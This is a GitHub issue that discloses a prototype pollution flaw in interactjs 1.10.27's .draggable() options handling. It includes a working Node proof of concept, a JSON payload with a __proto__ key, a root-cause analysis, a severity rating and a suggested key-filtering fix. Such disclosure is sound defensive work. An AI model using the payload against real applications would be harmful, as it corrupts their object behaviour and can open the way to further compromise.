Skip to content

Prototype pollution via interact(element).draggable() options containing __proto__ #1072

Description

@Dremig

Hi maintainers,

I found a prototype pollution issue in the public interactjs API when action options contain prototype-related keys such as __proto__.

I understand that applications normally provide trusted configuration objects to interact(element).draggable(), so this may depend on the application's threat model. However, if an application builds interact.js options from user-controlled JSON or remote/project-controlled configuration, a malicious option key can write properties onto Object.prototype.

Summary

interactjs@1.10.27 allows a caller-controlled __proto__ option key to reach the per-action option merge path used by .draggable(options).

The issue is reachable through the normal public API:

interact(element).draggable(options)

With an own enumerable __proto__ key, the merge path writes attacker-controlled properties to Object.prototype.

Affected version

Tested version:

interactjs@1.10.27
@interactjs/core@1.10.27

This is the latest npm version I tested.

Proof of Concept

The following PoC uses interactjs through the public package entry point and .draggable(options).

set -eu

rm -rf /tmp/interactjs-pp-poc
mkdir /tmp/interactjs-pp-poc
cd /tmp/interactjs-pp-poc

npm init -y >/dev/null
npm install interactjs@1.10.27 jsdom@24 >/dev/null

node --input-type=module <<'NODE'
import { JSDOM } from 'jsdom';
import interact from 'interactjs';

const dom = new JSDOM('<!doctype html><div id="draggable"></div>');

globalThis.window = dom.window;
globalThis.document = dom.window.document;
globalThis.Element = dom.window.Element;
globalThis.HTMLElement = dom.window.HTMLElement;
globalThis.SVGElement = dom.window.SVGElement;
globalThis.Node = dom.window.Node;

delete Object.prototype.polluted;

const payload = JSON.parse('{"__proto__":{"polluted":"yes_public_draggable"}}');

console.log('before:', {}.polluted, Object.prototype.polluted);

interact(document.getElementById('draggable')).draggable(payload);

console.log('after:', {}.polluted, Object.prototype.polluted);

delete Object.prototype.polluted;
NODE

Observed output:

before: undefined undefined
after: yes_public_draggable yes_public_draggable

Root Cause

The public .draggable(options) API forwards options into the per-action option handling path.

In packages/@interactjs/core/Interactable.ts, setPerAction() iterates over option keys and merges plain-object option values:

setPerAction(actionName: ActionName, options: OrBoolean<Options>) {
  const defaults = this._defaults;

  for (const optionName in options) {
    const actionOptions = this.options[actionName];
    const optionValue = options[optionName];

    ...

    if (is.plainObject(optionValue)) {
      actionOptions[optionName] = extend(
        actionOptions[optionName] || {},
        clone(optionValue),
      );
      ...
    }
  }
}

When optionName === "__proto__", this expression:

actionOptions[optionName] || {}

does not behave like a normal own property read. On an ordinary object, actionOptions["__proto__"] resolves through the special __proto__ accessor and returns the object's prototype, usually Object.prototype.

The subsequent extend(...) then writes attacker-controlled keys onto Object.prototype.

The helper functions also do not filter prototype-related keys:

function extend(dest, source) {
  for (const prop in source) {
    dest[prop] = source[prop];
  }
}

and:

function clone(source) {
  const dest = {};
  for (const prop in source) {
    ...
    dest[prop] = value;
  }
  return dest;
}

Impact

If an application passes untrusted or semi-trusted option objects into interact.js, for example options derived from user-controlled JSON, CMS data, project configuration, or remote layout/configuration state, an attacker can pollute Object.prototype.

Prototype pollution can corrupt later application logic and may become a stepping stone to more serious impact depending on how the host application uses object properties after pollution.

I would rate this as a low-to-medium severity library hardening issue by default, because exploitation depends on the host application accepting untrusted interact.js configuration. The vulnerable behavior is still undesirable in a public options-processing API.

Suggested classification:

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes

Possible CVSS v3.1 vector:

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Suggested Fix

Reject or safely ignore prototype-related keys before dynamic property reads/writes and object merges.

At minimum, skip these keys in setPerAction(), extend(), and clone():

__proto__
constructor
prototype

For example:

const unsafeKeys = new Set(['__proto__', 'constructor', 'prototype']);

if (unsafeKeys.has(optionName)) {
  continue;
}

It would also be safer for merge helpers to operate on null-prototype objects or use own-property-only checks where appropriate.

Thanks for maintaining interact.js.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions